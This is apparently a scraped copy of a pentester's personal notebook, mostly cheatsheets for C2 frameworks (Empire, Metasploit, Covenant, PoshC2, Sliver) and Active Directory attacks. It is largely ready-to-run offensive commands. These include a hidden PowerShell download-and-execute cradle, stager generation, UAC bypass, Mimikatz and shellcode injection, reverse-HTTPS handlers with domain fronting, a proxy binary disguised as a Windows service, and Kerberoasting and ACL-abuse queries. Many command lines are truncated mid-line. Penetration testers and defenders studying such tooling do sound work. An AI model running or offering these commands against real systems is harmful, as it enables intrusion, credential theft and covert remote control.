100% found this document useful (1 vote)
2K views

Pentester Promiscuous Notebook

This document provides a summary of tools and techniques for penetration testing and post-exploitation. It includes summaries of Empire, Metasploit, Covenant, meterpreter, and debugging with pry-byebug. The document is organized as an informal notebook with sections on installation, usage cheatsheets, and links to additional resources for various penetration testing frameworks and capabilities.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
100% found this document useful (1 vote)
2K views

Pentester Promiscuous Notebook

This document provides a summary of tools and techniques for penetration testing and post-exploitation. It includes summaries of Empire, Metasploit, Covenant, meterpreter, and debugging with pry-byebug. The document is organized as an informal notebook with sections on installation, usage cheatsheets, and links to additional resources for various penetration testing frameworks and capabilities.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 445

Pentester's Promiscuous Notebook

README

Hey there!

I'm snovvcrash and that's a gitbook for keeping my pentest notes on hand. It's far from being perfect in terms
of organization (that's why I call it "promiscuous") and, basically, I'm logging it for myself, but it turned out that
hosting it online makes it most convenient to access. So, if you find it handy too, feel free to use it...
responsibly, of course!
While taking these notes, one main rule is that all the given techniques are actually tested either during a
real engagement or in a training lab.

DISCLAIMER. All information contained in this blog is provided for educational and research
purposes only. The author is not responsible for any illegal use of any information published on
the pages of this blog.

Previous version of PPN is ➡️here (deprecated).

About

snovvcrash@gh-pages:~$ _
snovvcrash@gh-pages:~$ _

snovvcrash - Overview
GitHub

⚒️Pentest
C2

https://xakep.ru/2019/10/18/post-exploitation-frameworks/
https://www.thec2matrix.com/matrix

https://docs.google.com/spreadsheets/d/1-A0WOlGh1GnhbfLP53M6vjYl1LCPyrqp/edit?usp=s…
docs.google.com

Covenant

https://s3cur3th1ssh1t.github.io/Covenant_Stageless_HTTP/
Install

https://github.com/cobbr/Covenant

$ git clone --recurse-submodules https://github.com/cobbr/Covenant


$ cd Covenant/Covenant
$ dotnet run

Cheatsheet
Make a sacrificial token to be used with Over-PtH attacks:

(snovvcrash) > MakeToken administrator megacorp.local dummy_Passw0rd!

Empire

https://xakep.ru/2020/06/03/powershell-empire/

Install

https://github.com/BC-SECURITY/Empire

$ git clone --recursive https://github.com/BC-SECURITY/Empire.git


$ cd Empire
$ sudo ./setup/install.sh
$ sudo poetry install

To compile C# agents (Covenant and Sharpire) install .NET SDK 3.1:

$ wget https://packages.microsoft.com/config/debian/10/packages-microsoft-prod.deb -O packages


$ sudo dpkg -i packages-microsoft-prod.deb
$ rm packages-microsoft-prod.deb

$ sudo apt-get update; \


sudo apt-get install -y apt-transport-https && \
sudo apt-get update && \
sudo apt-get install -y dotnet-sdk-3.1

$ sudo apt-get update; \


sudo apt-get install -y apt-transport-https && \
sudo apt-get update && \
sudo apt-get install -y aspnetcore-runtime-3.1

Run

$ ./ps-empire server [--restip 127.0.0.1 --username snovvcrash --password 'Passw0rd!']


$ ./ps-empire client

Reset the database:

$ ./ps-empire server --reset

Cheatsheet
Basic PowerShell launcher string:

PS > powershell -NoP -sta -NonI -W Hidden -Exec Bypass -C "IEX(New-Object Net.WebClient).Downl

Prepare a listener:

(Empire) > listeners


(Empire: listeners) > uselistener http
(Empire: uselistener/http) > set Name http1
(Empire: uselistener/http) > set Host 10.10.13.37
(Empire: uselistener/http) > set Port 80
(Empire: uselistener/http) > execute

Generate a PowerShell stager:

(Empire: listeners) > usestager multi/launcher


(Empire: usestager/multi/launcher) > set Listener http1
(Empire: usestager/multi/launcher) > set OutFile pwsh.ps1
(Empire: usestager/multi/launcher) > generate

Generate a C# stager:
(Empire:
(Empire: listeners) > useplugin csharpserver
useplugin/csharpserver) > set status start
(Empire: useplugin/csharpserver) > execute
(Empire: useplugin/csharpserver) > usestager windows/csharp_exe
(Empire: usestager/windows/csharp_exe) > set Listener http1
(Empire: usestager/windows/csharp_exe) > set OutFile csharp.exe
(Empire: usestager/windows/csharp_exe) > generate

Re-inject into an interactive process (e.g., explorer.exe ):

(Empire: listeners) > agents


(Empire: agents) > rename LKH7SD3V A1
(Empire: agents) > interact A1
(Empire: A1) > sysinfo
(Empire: A1) > shell Get-Process explorer
(Empire: A1) > psinject exch <EXPLORER_EXE_PID>

Bypass UAC to get a high integrity process:

(Empire: A1) > shell whoami /priv


(Empire: A1) > usemodule privesc/bypassuac_fodhelper
(Empire: powershell/privesc/bypassuac_fodhelper) > set Listener http1
(Empire: powershell/privesc/bypassuac_fodhelper) > run

Execute a PowerShell script from memory (e.g., Invoke-SharpSecDump.ps1 ):

(Empire: A1) > shell whoami /priv


(Empire: A1) > usemodule management/invoke_script
(Empire: powershell/management/invoke_script) > set ScriptPath /home/snovvcrash/tools/dump.ps1
(Empire: powershell/management/invoke_script) > set ScriptCmd Invoke-SharpSecDump -C "-tager=1
(Empire: powershell/management/invoke_script) > run

Start a process in the background (e.g., chisel SOCKS proxy):

(Empire: A1) > shell IWR http://10.10.13.37:8080/chisel.exe -OutFile C:\Windows\services.exe -


(Empire: A1) > shell Start-Process -NoNewWindow -FilePath C:\Windows\services.exe -ArgumentLis

Invoke a custom Mimikatz command:

(Empire: A1) > usemodule credentials/mimikatz/command


(Empire: powershell/credentials/mimikatz/command) > set Command '"privilege::debug" "token::el
(Empire: powershell/credentials/mimikatz/command) > run

Plugins
https://github.com/BC-SECURITY/SocksProxyServer-Plugin
https://github.com/BC-SECURITY/ChiselServer-Plugin

Customizing Agents

https://s3cur3th1ssh1t.github.io/Customizing_C2_Frameworks/

Metasploit

https://buffered.io/posts/staged-vs-stageless-handlers/
https://blog.rapid7.com/2015/03/25/stageless-meterpreter-payloads/

https://www.darkoperator.com/blog/2015/6/14/tip-meterpreter-ssl-certificate-validation
https://xakep.ru/2020/07/03/metasploit-guide/
https://diablohorn.com/2013/02/21/we-bypassed-antivirus-how-about-idsips/

Cheatsheet
Quick handler launch:

msf > handler -H eth0 -P 443 -p windows/x64/meterpreter/reverse_https [-e x64/xor] [-x]

Bind RC4 payload & handler through SOCKS proxy:

$ msfvenom -p windows/x64/meterpreter/bind_tcp_rc4 RHOST=10.10.13.37 LPORT=443 RC4PASSWORD='Pa


msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/bind_tcp_rc4
msf exploit(multi/handler) > set RHOST 192.168.1.11
msf exploit(multi/handler) > set LPORT 443
msf exploit(multi/handler) > set RC4PASSWORD Passw0rd!
msf exploit(multi/handler) > set PROXIES socks5:127.0.0.1:1080
msf exploit(multi/handler) > run

Generate a custom SSL certificate for encrypting C2 communications:

$ openssl req -batch -new -newkey rsa:4096 -days 365 -nodes -x509 -keyout cert.key -out cert.c
$ cat cert.key cert.crt > cert.pem
$ msfvenom -p ... HandlerSSLCert=./cert.pem StagerVerifySSLCert=true ...
msf exploit(multi/handler) > set HandlerSSLCert /home/snovvcrash/cert.pem
msf exploit(multi/handler) > set StagerVerifySSLCert true

Automation (about exploit flags here):

auto.rc
// sudo msfconsole -qr auto.rc
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_winhttps
set LHOST 10.10.13.37
set LPORT 443
set EXITFUNC thread
set StageEncoder x64/zutto_dekiru
set EnableStageEncoding true
set HandlerSSLCert /home/snovvcrash/cert.pem
set StagerVerifySSLCert true
set AutoRunScript post/windows/manage/migrate
set ExitOnSession false
exploit -jz

Start SOCKS server (default is SOCKS5):

msf > use auxiliary/server/socks_proxy


msf auxiliary(server/socks_proxy) > set SRVHOST 127.0.0.1
msf auxiliary(server/socks_proxy) > run -j

Handle connections with domain fronting:

$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=legitimate.com LPORT=443 HttpHostHea


msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_https
msf exploit(multi/handler) > set LHOST legitimate.com
msf exploit(multi/handler) > set OverrideLHOST legitimate.com
msf exploit(multi/handler) > set OverrideRequestHost true
msf exploit(multi/handler) > set HttpHostHeader cdn.provider.net
msf exploit(multi/handler) > run

meterpreter

Migrate to a different architecture:

msf > use post/windows/manage/archmigrate


msf post(windows/manage/archmigrate) > set SESSION 1
msf post(windows/manage/archmigrate) > run

Switch to the next transport killing current session:

meterpreter > transport add -t reverse_tcp -l 10.10.13.37 -p 9002


meterpreter > transport list
msf > handler -H eth0 -P 9002 -p windows/x64/meterpreter/reverse_tcp
meterpreter > transport next

Reverse local port 3389 (on Victim, 192.168.1.11 ) to local port 43389 (on Attacker):

meterpreter > portfwd add -l 43389 -p 3389 -r 192.168.1.11


[*] Local TCP relay created: :43389 <-> 192.168.1.11:3389
$ xfreerdp /u:administrator /p:'Passw0rd!' /v:127.0.0.1:43389

Routing:

meterpreter > run autoroute -s 192.168.10.0/24


meterpreter > run autoroute -p
Or
msf5 > route add 192.168.10.0/24 1
msf5 > route

Execute binary from memory:

meterpreter > execute -cimH -d calc.exe -f /home/snovvcrash/www/mimikatz.exe -a '"sekurlsa::lo

Execute .NET assembly from memory:

msf > use post/windows/manage/execute_dotnet_assembly


msf post(windows/manage/execute_dotnet_assembly) > set DOTNET_EXE /home/snovvcrash/www/Rubues
msf post(windows/manage/execute_dotnet_assembly) > set ARGUMENTS "kerberoast /usetgtdeleg /for
msf post(windows/manage/execute_dotnet_assembly) > set SESSION 1
msf post(windows/manage/execute_dotnet_assembly) > run

Inject shellcode:

msf > use post/windows/manage/shellcode_inject


msf post(windows/manage/shellcode_inject) > set SHELLCODE /home/snovvcrash/www/shellcode.bin
msf post(windows/manage/shellcode_inject) > set SESSION 1
msf post(windows/manage/shellcode_inject) > run

Debug

https://github.com/deivid-rodriguez/pry-byebug

HackTheBox - DropZone
YouTube
$ gem install pry-byebug
$ vi ~/.pry-byebug

pry-byebug
if defined?(PryByebug)
Pry.commands.alias_command 'c', 'continue'
Pry.commands.alias_command 's', 'step'
Pry.commands.alias_command 'n', 'next'
Pry.commands.alias_command 'f', 'finish'
end

# Hit Enter to repeat last command


Pry::Commands.command /^$/, "repeat last command" do
_pry_.run_command Pry.history.to_a.last
end

$ cp -r /usr/share/metasploit-framework/ /opt
$ vi /opt/metasploit-framework/msfconsole
...add "require 'pry-byebug'"...
$ mkdir -p ~/.msf4/modules/exploits/linux/http/
$ cp /usr/share/metasploit-framework/modules/exploits/linux/http/packageup.rb ~/.msf4/modules/
$ vi ~/.msf4/modules/exploits/linux/http/p.rb
...add "binding.pry"...

PoshC2

https://labs.nettitude.com/blog/detecting-poshc2-indicators-of-compromise/

Install

https://github.com/nettitude/PoshC2

$ curl -sSL https://github.com/nettitude/PoshC2/raw/dev/Install.sh | sudo bash -s -- -p /opt/P

Run
List projects:

$ posh-project -l

Show current project:

$ posh-project -c

Create a new project:

$ posh-project -n <PROJECT_NAME>

Adjust config:

$ posh-config

Start team server:

$ posh-server

Connect to the team server:

$ posh -u snovvcrash

Cheatsheet
Load .NET assembly and run it (available for agents that load CLR):

C# 01> loadmodule /tmp/Rubeus.exe


C# 01> run-exe Namespace.Class Assembly <args>
C# 01> run-exe Rubeus.Program Rubeus kerberoast /usetgtdeleg /format:hashcat

Sliver

https://github.com/BishopFox/sliver

Install
https://github.com/BishopFox/sliver/releases/latest

Install team server as a daemon on the team server:

$ curl https://sliver.sh/install | sudo bash

For a client get a sliver-client binary from releases or disable the service if installed as a daemon:

$ sudo systemctl disable sliver.service --now

Configure Team Server for Multiplayer

https://github.com/BishopFox/sliver/wiki/Configuration-Files

Change multiplayer listener host (daemon mode) and restart:

$ sudo vi /root/.sliver/configs/server.json
$ sudo systemctl restart sliver.service

Generate config for a new operator:

$ sudo /root/sliver-server operator --name snovvcrash-kali-home --lhost <PRIVATE_IP> --lport 3

Cheatsheet
A redirector-aware pair of payload and listener (when redirecting to PRIVATE_IP:8443 ):

sliver > generate --os windows --arch amd64 --format shellcode [--evasion] --http example.com
sliver > https --domain example.com --lhost <PRIVATE_IP> --lport 8443

Infrastructure

cd; mkdir ws; cd ws # workspace


mkdir -p adcs/ discover/{subnets,hosts,services} enum/bloodhound/bloodhound.py loot/ logs/ scr
touch ~/ws/loot/net-ntlmv2.txt
Network Config

hostname
ifconfig eth0
route -n
cat /etc/resolv.conf
arp -a

AD

https://habr.com/ru/company/pt/blog/423903/
https://habr.com/ru/company/jetinfosystems/blog/449278/

https://habr.com/ru/company/bastion/blog/598769/
https://xakep.ru/2019/10/16/windows-ad-hack/
https://hausec.com/2019/03/05/penetration-testing-active-directory-part-i/

https://hausec.com/2019/03/12/penetration-testing-active-directory-part-ii/
https://kalitut.com/hacking-windows-active-directory-full/

https://rmusser.net/docs/Active_Directory.html
https://zer1t0.gitlab.io/posts/attacking_ad/
https://rootdse.org/posts/active-directory-basics-1/

https://rootdse.org/posts/active-directory-basics-2/

Атаки на домен / XSS.is

Атаки современных Windows систем


Атаки на MS Active Directory и компрометация контроллера домена

Could not load image

Pentesting AD Mindmap

AD Labs

https://github.com/chvancooten/CloudLabsAD
https://github.com/WazeHell/vulnerable-AD
Capsulecorp

https://livebook.manning.com/book/penetrating-enterprise-networks/

https://github.com/R3dy/capsulecorp-pentest

Game Of Active Directory

https://mayfly277.github.io/posts/GOADv2-pwning_part1/

https://mayfly277.github.io/posts/GOADv2-pwning-part2/

https://mayfly277.github.io/posts/GOADv2-pwning-part3/

https://mayfly277.github.io/posts/GOADv2-pwning-part4/
https://mayfly277.github.io/posts/GOADv2-pwning-part5/

https://github.com/Orange-Cyberdefense/GOAD

Microsoft Wont-Fix-List

https://github.com/cfalta/MicrosoftWontFixList/blob/main/README.md

Tools

BloodHound

https://github.com/BloodHoundAD/BloodHound
https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-1/
https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-2/
https://blog.compass-security.com/2022/05/bloodhound-inner-workings-part-3/

Setup

curl -sSL https://api.github.com/repos/BloodHoundAD/BloodHound/releases/latest | jq -r '.asset


unzip BloodHound.zip && rm BloodHound.zip
mv BloodHound-linux-x64 BloodHound && cd BloodHound
sudo chown root:root chrome-sandbox
sudo chmod 4755 chrome-sandbox
chmod +x BloodHound
sudo mkdir /usr/share/neo4j/logs/
mkdir -p ~/.config/bloodhound
curl -sSL https://github.com/ShutdownRepo/Exegol-images/raw/main/sources/bloodhound/customquer
curl -sSL https://github.com/CompassSecurity/BloodHoundQueries/raw/master/customqueries.json >
curl -sSL https://github.com/ZephrFish/Bloodhound-CustomQueries/raw/main/customqueries.json >
curl -sSL https://github.com/ly4k/Certipy/raw/main/customqueries.json > /tmp/customqueries4.js

python3 - << 'EOT'


import json
from pathlib import Path

merged, dups = {'queries': []}, set()


for jf in sorted((Path('/tmp')).glob('customqueries*.json')):
with open(jf, 'r') as f:
for query in json.load(f)['queries']:
if 'queryList' in query.keys():
qt = tuple(q['query'] for q in query['queryList'])
if qt not in dups:
merged['queries'].append(query)
dups.add(qt)

with open(Path.home() / '.config' / 'bloodhound' / 'customqueries.json', 'w') as f:


json.dump(merged, f, indent=4)

EOT

rm /tmp/customqueries*.json
curl -sSL "https://github.com/ShutdownRepo/Exegol-images/raw/main/sources/bloodhound/config.js
sed -i 's/"password": "exegol4thewin"/"password": "WeaponizeK4li!"/g' ~/.config/bloodhound/con

Collectors

SharpHound.exe

https://github.com/BloodHoundAD/SharpHound3
https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.exe
https://bloodhound.readthedocs.io/en/latest/data-collection/sharphound-all-flags.html

Could not load image


SharpHound cheatsheet (by @SadProcessor)

PS > .\SharpHound.exe [-d megacorp.local] [--LdapUsername snovvcrash] [--LdapPassword 'Passw0r


PS > .\SharpHound.exe -c SessionLoop --Loop --LoopInterval 00:01:00 --Loopduration 03:09:41

SharpHound.ps1

https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1

PS > Invoke-Bloodhound [-Domain megacorp.local] [-LdapUsername snovvcrash] [-LdapPassword 'Pas


PS > Invoke-Bloodhound -CollectionMethod SessionLoop -Loop -LoopInterval 00:01:00 -Loopduratio

BloodHound.py

https://github.com/fox-it/BloodHound.py

$ cd ~/ws/enum/bloodhound/bloodhound.py/
$ bloodhound-python -c All,LoggedOn --zip -u snovvcrash -p 'Passw0rd!' -d megacorp.local -ns 1
$ proxychains4 -q bloodhound-python -c All,LoggedOn --zip -u snovvcrash --hashes aad3b435b5140

Import with bloodhound-import:

$ bloodhound-import -du neo4j -dp 'Passw0rd!' 20190115133114*.json

ADExplorerSnapshot.py

https://github.com/c3c/ADExplorerSnapshot.py
https://docs.microsoft.com/en-us/sysinternals/downloads/adexplorer

Cypher (Neo4j)

https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
https://github.com/mgeeky/Penetration-Testing-Tools/blob/master/red-teaming/bloodhound/Handy-
BloodHound-Cypher-Queries.md
https://github.com/ShutdownRepo/Exegol/blob/master/sources/bloodhound/customqueries.json

https://github.com/CompassSecurity/BloodHoundQueries/blob/master/customqueries.json
https://github.com/ZephrFish/Bloodhound-CustomQueries/blob/main/customqueries.json
https://github.com/ly4k/Certipy/blob/main/customqueries.json

Show percentage of collected user sessions:

How BloodHound's Session Collection Works

# http://localhost:7474/browser/
MATCH (u1:User)
WITH COUNT(u1) AS totalUsers
MATCH (c:Computer)-[r:HasSession]->(u2:User)
WITH totalUsers, COUNT(DISTINCT(u2)) AS usersWithSessions
RETURN totalUsers, usersWithSessions, 100 * usersWithSessions / totalUsers AS percetange

Show path to any computer from kerberoastable users:

MATCH (u:User {hasspn:true}), (c:Computer), p=shortestPath((u)-[*1..]->(c)) RETURN p

Manual JSON Parsing

https://blog.bitsadmin.com/blog/dealing-with-large-bloodhound-datasets
https://github.com/bitsadmin/chophound
https://github.com/knavesec/Max

Manually Parse Bloodhound Data with JQ to Create Lists of Potentially Vulnerable Us…
Us…
There're 2 global dicts in JSON files: data and meta . We care about data :

$ cat 20220604031239_users.json | jq '. | keys'


[
"data",
"meta"
]

List all active user accounts:

cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true) | .name' -r

List non-empty user accounts' descriptions:

cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true and .descript

List user accounts whose passwords were set after their last logon (an effective list for password spraying
assuming that the passwords were set by IT Desk and may be guessable):

cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true and .pwdlasts

List user accounts with DoesNotRequirePreAuth set (aka asreproastable):

cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true and .dontreqp

List user accounts with SPN(s) set (aka kerberoastable)

cat 20220604031239_users.json | jq '.data[].Properties | select(.enabled == true and .servicep

List computer accounts' operating system names:

cat 20220604031239_computers.json | jq '.data[].Properties | .name + " :: " + .operatingsystem


Recursively list all members of a group (mimics RSAT Get-ADGroupMember , script):

$ ls
20220604043009_computers.json 20220604043009_groups.json 20220604043009_users.json
$ python3 get_ad_group_member.py 'DOMAIN [email protected]'

Recursively list all groups which the user is a member of (mimics RSAT Get-ADUser | select
memberof , script):

$ ls
20220604043009_groups.json 20220604043009_users.json
$ python3 get_ad_user_memberof.py '[email protected]'

Generate a .csv file containing AD trusts mapping to be used in TrustVisualizer (mimics PowerView
Get-DomainTrustMapping , script):

$ ls
20220604043009_domains.json
$ python3 get_domain_trust_mapping.py

PowerView / SharpView

https://www.harmj0y.net/blog/powershell/make-powerview-great-again/
https://github.com/HarmJ0y/CheatSheets/blob/master/PowerView.pdf

https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
PowerView2.ps1
PowerView3.ps1
PowerView4.ps1 (ZeroDayLab)

SharpView.exe

Example Queries

Users

Convert SID to name and vice versa:

PV3 > ConvertTo-SID <NAME>


PV3 > Convert-NameToSid <NAME>
PV3 > ConvertFrom-SID <SID>
PV3 > Convert-SidToName <SID>

Extract all domain user accounts into a .csv file:


PV3 > Get-DomainUser -Domain megacorp.local | select name,samAccountName,description,memberOf

List domain user accounts that do not require Kerberos pre-authentication (see ASREPRoasting):

PS > .\SharpView.exe Get-DomainUser -KerberosPreauthNotRequired -Properties samAccountName,use

List domain user accounts with Service Principal Names (SPNs) set (see Kerberoasting):

PS > .\SharpView.exe Get-DomainUser -SPN -Properties samAccountName,memberOf,servicePrincipalN

List domain user accounts with Kerberos unconstrained delegation enabled:

PS > .\SharpView.exe Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=5

List domain user accounts with Kerberos constrained delegation enabled:

PS > .\SharpView.exe Get-DomainUser -TrustedToAuth -Properties samAccountName,userAccountContr

Search for domain user accounts which may have sensitive stored in the description field:

PV3 > Get-DomainUser -Properties samaccountname,description | Where {$_.description -ne $null}

Search for domain user by email:

PV3 > Get-DomainUser -LDAPFilter '([email protected])' -Properties samaccountname

Find users with DCSync right:

PV3 > $dcsync = Get-DomainObjectACL "DC=megacorp,DC=local" -ResolveGUIDs | ? {$_.ActiveDirecto


PV3 > Convert-SidToName $dcsync

Groups

Enumerate domain computers where specific users (Identity) are members of a specific local group
(LocalGroup):

PV3 > Get-DomainGPOUserLocalGroupMapping -Identity snovvcrash -LocalGroup Administrators

Computers

Extract all domain computer accounts into a .csv file:


PV3 > Get-DomainComputer -Properties dnsHostName,operatingSystem,lastLogonTimestamp,userAccoun

List domain computer accounts that allow Kerberos unconstrained delegation:

PS > .\SharpView.exe Get-DomainComputer -Unconstrained -Properties dnsHostName,userAccountCont

Resolve all domain computer IPs by their names:

PV3 > Get-DomainComputer -Properties name | Resolve-IPAddress

List domain computers that are part of a OU:

PV3 > Get-DomainComputer | ? { $_.DistinguishedName -match "OU=<OU_NAME>" } | select dnsHostNa

Shares

List shares for WS01 computer:

PS > .\SharpView.exe Get-NetShare -ComputerName WS01

GPOs

List all domain users with a 4-digit RID (eliminates default objects like 516, 519, etc.) who can edit GPOs:

PV3 > Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | ? { $_.ActiveDirectoryRights -match

Resolve GPO ObjectDN:

PV3 > Get-DomainGPO -Name "<DN>" -Properties DisplayName

Impacket

https://github.com/SecureAuthCorp/impacket
https://github.com/ropnop/impacket_static_binaries
https://github.com/maaaaz/impacket-examples-windows

Install:

$ git clone https://github.com/SecureAuthCorp/impacket ~/tools/impacket && cd ~/tools/impacket


$ pip3 install .
Or
$ pipx install -f "git+https://github.com/SecureAuthCorp/impacket.git"
CrackMapExec (CME)
Install:

$ pipx install -f "git+https://github.com/Porchetta-Industries/CrackMapExec.git"


$ cme -h

Install for debugging and developement:

$ git clone --recursive https://github.com/Porchetta-Industries/CrackMapExec ~/tools/CrackMapE


$ poetry install
$ poetry run crackmapexec -h

Execute a PowerShell command using base64 encoding on-the-fly:

$ cme smb 192.168.1.11 -u snovvcrash -p 'Passw0rd!' -x "powershell -enc `echo -n 'iex(new-obje

Mitigations
Common vulnerabilities & misconfigurations and recommendations:

https://www.infosecmatter.com/top-16-active-directory-vulnerabilities/#2-admincount-attribute-set-on-
common-users
https://threadreaderapp.com/thread/1369309701050142720.html

https://s3cur3th1ssh1t.github.io/The-most-common-on-premise-vulnerabilities-and-misconfigurations/
https://github.com/evilmog/ntlmv1-multi/blob/master/resources/checklist.txt

SMB lateral-movement hardening:

https://posts.specterops.io/offensive-lateral-movement-1744ae62b14f
https://medium.com/palantir/restricting-smb-based-lateral-movement-in-a-windows-environment-
ed033b888721

SMB Enumeration-Exploitation-Hardening (Anil BAS).pdf 3MB


PDF

Antispam protection for Exchange:

Antispam Forefront Protection 2010 (Exchange Server).pdf 2MB


PDF
Detect stale, unused or fake computer accounts based on password age (replace -90 with your domain's
maximum computer account password age):

$date = [DateTime]::Today.AddDays(-90); Get-ADComputer -Filter '(Enabled -eq $true) -and (Pass

Administrative Tier Model & Microsoft RaMP (Zero Trust Rapid Modernization Plan):

https://security-tzu.com/2020/03/23/mitigate-credential-theft-with-administrative-tier-model/

https://www.secframe.com/ramp/

https://posts.specterops.io/establish-security-boundaries-in-your-on-prem-ad-and-azure-environment-
dcb44498cfc2

Post compromise AD actions (checklist):

https://www.hub.trimarcsecurity.com/post/securing-active-directory-performing-an-active-directory-
security-review
https://www.pwndefend.com/2021/09/15/post-compromise-active-directory-checklist/

Hardening automatization tool:

https://github.com/0x6d69636b/windows_hardening

ACL Abuse
Access Control Lists

https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-
directory-acls-aces
https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/
https://www.thehacker.recipes/active-directory-domain-services/movement/access-control-
entries#exploitation-paths
https://www.praetorian.com/blog/how-to-exploit-active-directory-acl-attack-paths-through-ldap-relaying-
attacks/

Could not load image


Abusing ACEs Mindmap

BloodHound

ACL BloodHound abuse hierarchy (by @HackAndDo)

Some AD object security permissions abusable with PowerView / SharpView:

ForceChangePassword abused with Set-DomainUserPassword

AddMembers abused with Add-DomainGroupMember

GenericAll abused with Set-DomainUserPassword or Add-DomainGroupMember

GenericWrite abused with Set-DomainObject

WriteOwner abused with Set-DomainObjectOwner

WriteDACL abused with Add-DomainObjectACL

AllExtendedRights abused with Set-DomainUserPassword or Add-DomainGroupMember

SDDL

https://habr.com/ru/company/pm/blog/442662/
0xdf.gitlab.io/2020/01/27/digging-into-psexec-with-htb-nest.html
0xdf.gitlab.io/2020/06/01/resolute-more-beyond-root.html
https://itconnect.uw.edu/wares/msinf/other-help/understanding-sddl-syntax/
Let's say that the ACE on object A applies to object B. This grants or denies object B access to object A
